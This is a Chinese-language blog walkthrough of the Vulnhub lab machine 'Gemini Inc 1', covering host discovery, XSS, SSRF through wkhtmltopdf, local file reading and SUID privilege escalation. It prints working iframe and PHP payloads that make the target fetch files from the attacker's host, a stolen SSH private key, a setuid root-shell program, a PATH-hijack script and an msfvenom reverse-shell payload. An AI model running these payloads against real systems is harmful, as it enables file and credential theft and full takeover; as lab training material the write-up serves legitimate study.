Vulnhub靶机:GEMINI INC_ 1

有目标就不怕路远。年轻人.无论你现在身在何方.重要的是你将要向何处去。只有明确的目标才能助你成功。没有目标的航船.任何方向的风对他来说都是逆风。因此,再遥远的旅程,只要有目标.就不怕路远。没有目标,哪来的劲头?一车尔尼雷夫斯基

导读:本篇文章讲解 Vulnhub靶机:GEMINI INC_ 1,希望对大家有帮助,欢迎收藏,转发!站点地址:www.bmabk.com,来源:原文

介绍

系列Gemini Inc(此系列共2台)
**发布日期:**2018年01月09日
**注释: **使用vmwar workstation运行虚拟机
**难度: **中
**目标: **取得 root 权限 + Flag
攻击方法:

  • 主机发现
  • 端口扫描
  • 信息收集
  • 开源代码泄漏
  • XSS漏洞
  • SSRF漏洞
  • LFI漏洞
  • 服务端组件漏洞
  • SSH公钥认证
  • SUID权限漏洞
  • 环境变量篡改
  • 本地提权

靶机地址:https://www.vulnhub.com/entry/gemini-inc-1,227/

主机发现

netdiscover主机发现

sudo netdiscover -i eth0 -r 192.168.239.0/24

在这里插入图片描述

主机信息探测

nmap -p- 192.168.239.137
nmap -p22,80 -A 192.168.239.137

在这里插入图片描述

网站探测

开局一张图,根据提示信息得知靶机泄露了网站源码,通过install.php发现网站存在硬编码漏洞,直接找到用户名密码:admin、1234,登录的时候发现登录按钮打不开,挂上梯子之后能登录了。
在这里插入图片描述

发现XSS漏洞

修改了个人信息后,页面可以正常回显出内容。测试一下XSS呢?
在这里插入图片描述

添加了一个简单的XSS语句,查看个人信息的时候直接弹框,证明漏洞存在。
在这里插入图片描述

SSRF+LFI

能发现这个利用点的,都是大佬。

在常规的网页探测,目录扫描无果后,把注意力放在了导出文件的这个按钮上,我平常是不看这个东西的,因为实战中从来没发现过什么漏洞,这次发现,下载下来的文件的创建者是“wkhtmltopdf 0.12.4”,网上搜索得知这是一个把html转换成pdf的工具。你觉得网上直接搜这个工具的漏洞就能打穿靶机吗?不能。很多利用文章是无效的,有效的文章里面还有坑。
在这里插入图片描述

在这里插入图片描述

一些验证:

1. 加载本地资源失败

把上文插入XSS语句的位置,修改为如下内容:<iframe src="file:///etc/passwd"></iframe>,然后导出文件,利用失败。
在这里插入图片描述

2. 加载远程资源成功

首先在kali上面放置了一个文件,内容为“123456”,然后开启web服务。
之后修改为如下利用代码:<iframe src="http://192.168.239.130/1.txt"></iframe>,一旦保存配置,就会看到靶机已经加载了kali的文件内容
在这里插入图片描述

拓展:如果你觉得创建一个文件再开启一个web服务比较繁琐,也有更快一步的操作方式。
姿势1:nc监听端口

  1. kali准备:nc -nvlp 1234
  2. 填入测试代码:<iframe src="http://192.168.239.130:1234"></iframe>

当我保存配置的时候,我的浏览器发出请求,kali收到了来自 192.168.239.1 的连接,此时nc会断开连接,立即重新开始监听,当我导出配置的时候,收到了来自靶机的连接,通过ua可以确定靶机确实连接我了
在这里插入图片描述

姿势2:PHP监听端口
根据https://www.php.net/manual/en/features.commandline.webserver.php
得知我可以使用PHP开启一个web服务

  1. kali准备:php -S 0.0.0.0:5678
  2. 填入测试代码:<iframe src="http://192.168.239.130:5678"></iframe>

在kali中看到了来自靶机的请求,而靶机的导出页面看到了PHP文件不存在的默认界面。
在这里插入图片描述

3. 利用失败

参考:http://hassankhanyusufzai.com/SSRF-to-LFI/
根据这篇文章的描述,我可以让靶机读取攻击者的一个恶意文件,通过这个文件再去读取靶机上的敏感文件。

攻击者准备攻击代码并开启web服务:<?php header('location:file://'.$_REQUEST['url']); ?>
浏览器中输入如下代码:

"><iframe height="2000" width="800" src=http://192.168.239.130/a.php?url=/etc/passwd></iframe>

但是很奇怪的是,一旦来到当前帐号页面,浏览器就自动下载了a.php,导出的配置文件里也没有可利用信息
在这里插入图片描述

在这里插入图片描述

4. 排雷

经过不断尝试,我通过如下方法绕过了这个坑。由于个人习惯的原因,我使用python开启web环境,然后让靶机 下载利用文件的,于是就出现了刚保存配置浏览器就自动下载文件,并且导出的配置文件里没有内容。在网上不断搜索后,我试着使用apache来开启web服务,于是就出现了如下的一幕,以至于我严重怀疑换用apache能不能行
在这里插入图片描述

利用代码改为如下内容(个人觉得改不改无所谓,照抄上述链接的格式应该也行):

<iframe height="4000" width="800" src="http://192.168.239.130/a.php?url=/etc/passwd"></iframe>

在这里插入图片描述

5. 读取更多敏感信息

在源代码中搜索一番后,在 这个页面 上发现了存放数据库连接账密文件的路径,经过测试,靶机的web路径是常见的/var/www/html/,于是尝试读取:

<iframe height="4000" width="800" src="http://192.168.239.130/a.php?url=/var/www/html/test2/inc/settings.php"></iframe>

在这里插入图片描述

拿着这里面的密码,尝试对用户账号SSH爆破,失败。这个时候捋一捋思路,凭借任意文件读取,还有哪些思路能拿下靶机?除了密码登录外还有一种办法是公钥身份认证登录。

6. 公钥身份认证登录

查看靶机支持的SSH连接方式:ssh gemini1@192.168.239.137 -v,发现靶机支持公钥身份认证登录。如果这样,/home/gemini1/.ssh目录下有可能存在id_rsaid_rsa.pub 或者 authorized_keys文件。
在这里插入图片描述

想实现免密登录的话,思路与操作参见之前的文章:语雀地址CSDN地址

读取私钥:
<iframe height="4000" width="800" src="http://192.168.239.130/a.php?url=/home/gemini1/.ssh/id_rsa"></iframe>

读取公钥:
<iframe height="4000" width="800" src="http://192.168.239.130/a.php?url=/home/gemini1/.ssh/id_rsa.pub"></iframe>

确认存在authorized_keys文件:
<iframe height="4000" width="800" src="http://192.168.239.130/a.php?url=/home/gemini1/.ssh/authorized_keys"></iframe>
  1. 读取到私钥内容(读取到的内容直接复制粘贴到notepad++中,不会出现排版异常问题)
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEAv8sYkCmUFupwQ8pXsm0XCAyxcR6m5y9GfRWmQmrvb9qJP3xs
6c11dX9Mi8OLBpKuB+Y08aTgWbEtUAkVEpRU+mk+wpSx54OTBMFX35x4snzz+X5u
Vl1rUn9Z4QE5SJpOvfV3Ddw9zlVA0MCJGi/RW4ODRYmPHesqNHaMGKqTnRmn3/4V
u7cl+KpPZmQJzASoffyBn1bxQomqTkb5AGhkAggsOPS0xv6P2g/mcmMUIRWaTH4Z
DqrpqxFtJbuWSszPhuw3LLqAYry0RlEH/Mdi2RxM3VZvqDRlsV0DO74qyBhBsq+p
oSbdwoXao8n7oO2ASHc05d2vtmmmGP31+4pjuQIDAQABAoIBAQCq+WuJQHeSwiWY
WS46kkNg2qfoNrIFD8Dfy0ful5OhfAiz/sC84HrgZr4fLg+mqWXZBuCVtiyF6IuD
eMU/Tdo/bUkUfyflQgbyy0UBw2RZgUihVpMYDKma3oqKKeQeE+k0MDmUsoyqfpeM
QMc3//67fQ6uE8Xwnu593FxhtNZoyaYgz8LTpYRsaoui9j7mrQ4Q19VOQ16u4XlZ
rVtRFjQqBmAKeASTaYpWKnsgoFudp6xyxWzS4uk6BlAom0teBwkcnzx9fNd2vCYR
MhK5KLTDvWUf3d+eUcoUy1h+yjPvdDmlC27vcvZ0GXVvyRks+sjbNMYWl+QvNIZn
1XxD1nkxAoGBAODe4NKq0r2Biq0V/97xx76oz5zX4drh1aE6X+osRqk4+4soLauI
xHaApYWYKlk4OBPMzWQC0a8mQOaL1LalYSEL8wKkkaAvfM604f3fo01rMKn9vNRC
1fAms6caNqJDPIMvOyYRe4PALNf6Yw0Hty0KowC46HHkmWEgw/pEhOZdAoGBANpY
AJEhiG27iqxdHdyHC2rVnA9o2t5yZ7qqBExF7zyUJkIbgiLLyliE5JYhdZjd+abl
aSdSvTKOqrxscnPmWVIxDyLDxemH7iZsEbhLkIsSKgMjCDhPBROivyQGfY17EHPu
968rdQsmJK8+X5aWxq08VzlKwArm+GeDs2hrCGUNAoGAc1G5SDA0XNz3CiaTDnk9
r0gRGGUZvU89aC5wi73jCttfHJEhQquj3QXCXM2ZQiHzmCvaVOShNcpPVCv3jSco
tXLUT9GnoNdZkQPwNWqf648B6NtoIA6aekrOrO5jgDks6jWphq9GgV1nYedVLpR7
WszupOsuwWGzSr0r48eJxD0CgYEAo23HTtpIocoEbCtulIhIVXj5zNbxLBt55NAp
U2XtQeyqDkVEzQK4vDUMXAtDWF6d5PxGDvbxQoxi45JQwMukA89QwvbChqAF86Bk
SwvUbyPzalGob21GIYJpi2+IPoPktsIhhm4Ct4ufXcRUDAVjRHur1ehLgl2LhP+h
JAEpUWkCgYEAj2kz6b+FeK+xK+FUuDbd88vjU6FB8+FL7mQFQ2Ae9IWNyuTQSpGh
vXAtW/c+eaiO4gHRz60wW+FvItFa7kZAmylCAugK1m8/Ff5VZ0rHDP2YsUHT4+Bt
j8XYDMgMA8VYk6alU2rEEzqZlru7BZiwUnz7QLzauGwg8ohv1H2NP9k=
-----END RSA PRIVATE KEY-----
  1. 读取公钥内容,确认公钥是gemini1用户的
ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAABAQC/yxiQKZQW6nBDyleybRcIDLFxHqbnL0Z9FaZCau9v2ok/fGzpzXV1f0yLw4sGkq4H5jTxp
OBZsS1QCRUSlFT6aT7ClLHng5MEwVffnHiyfPP5fm5WXWtSf1nhATlImk699XcN3D3OVUDQwIkaL9Fbg4NFiY8d6yo0dowYqpOdGaff/
hW7tyX4qk9mZAnMBKh9/IGfVvFCiapORvkAaGQCCCw49LTG/o/aD+ZyYxQhFZpMfhkOqumrEW0lu5ZKzM+G7DcsuoBivLRGUQf8x2L
ZHEzdVm+oNGWxXQM7virIGEGyr6mhJt3Chdqjyfug7YBIdzTl3a+2aaYY/fX7imO5 gemini1@geminiinc
  1. 读取authorized_keys文件
ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAABAQC/yxiQKZQW6nBDyleybRcIDLFxHqbnL0Z9FaZCau9v2ok/fGzpzXV1f0yLw4sGkq4H5jTxp
OBZsS1QCRUSlFT6aT7ClLHng5MEwVffnHiyfPP5fm5WXWtSf1nhATlImk699XcN3D3OVUDQwIkaL9Fbg4NFiY8d6yo0dowYqpOdGaff/
hW7tyX4qk9mZAnMBKh9/IGfVvFCiapORvkAaGQCCCw49LTG/o/aD+ZyYxQhFZpMfhkOqumrEW0lu5ZKzM+G7DcsuoBivLRGUQf8x2L
ZHEzdVm+oNGWxXQM7virIGEGyr6mhJt3Chdqjyfug7YBIdzTl3a+2aaYY/fX7imO5 gemini1@geminiinc
  1. 免密登录

经过比对确认“authorized_keys”和“id_rsa.pub”内容一致,说明可以免密登录

vim id_rsa
chmod 400 id_rsa
ssh -i id_rsa gemini1@192.168.239.137

在这里插入图片描述

SUID提权

在靶机上搜索既可执行,又有suid权限,所有者是root的文件

find / -type f -user root -perm -u+sx -ls 2>/dev/null

对里面的文件进行分析,发现了一个奇怪的文件,直接运行它显示了一些系统信息。
在这里插入图片描述

file命令发现这是一个可执行文件,strings命令查看可打印字符,发现这个工具在运行date命令时没有指定其路径。那么思路就有了,我可以生成一个恶意的”date”文件,并绑定环境变量,这样运行“listinfo”时我就有机会提权了。
在这里插入图片描述

修改环境变量提权

姿势1:编译运行一个文件,来获取一个具有root权限的终端【效果最完美】

#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
int main() {
    setuid(0);
    setgid(0);
    system("/bin/bash");
}
  1. 查看环境变量和date的位置时,发现date是在/bin目录下的,而/bin目录是在环境变量中的
echo $PATH
which date
  1. 添加环境变量

我第一次添加环境变量时,不慎把文件的绝对路径加上去了,导致提权失败。后来把恶意文件所在的路径添加到环境变量中才提权成功。
注意:我这里是把恶意的date所在路径放在了环境变量最前面的,是一种更稳妥的提权姿势。

export PATH=/home/gemini1:$PATH
echo $PATH

在这里插入图片描述

在这里插入图片描述

姿势2:直接编写【操作最简单】

cd /tmp
echo "/bin/sh" > date
chmod 777 date
export PATH=/tmp:$PATH
echo $PATH
/usr/bin/listinfo

在这里插入图片描述

姿势3:msf生成一个反弹shell的恶意文件
攻击者准备:

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.239.130 LPORT=443 -f elf > date
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.239.130
set LPORT 443
exploit

受害者准备:

wget http://192.168.239.130:8080/date
echo $PATH
export PATH=/home/gemini1:$PATH

注意到,拿到的meterpreter是root权限的,shell终端是普通用户权限。而且listinfo会卡住,如果关闭次程序,meterpreter会直接断开。
在这里插入图片描述

总结

在这里插入图片描述

参考

Write-up for Gemini Inc: 1

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/134222.html

(0)
飞熊的头像飞熊bm

相关推荐

发表回复

登录后才能评论
极客之音——专业性很强的中文编程技术网站,欢迎收藏到浏览器,订阅我们!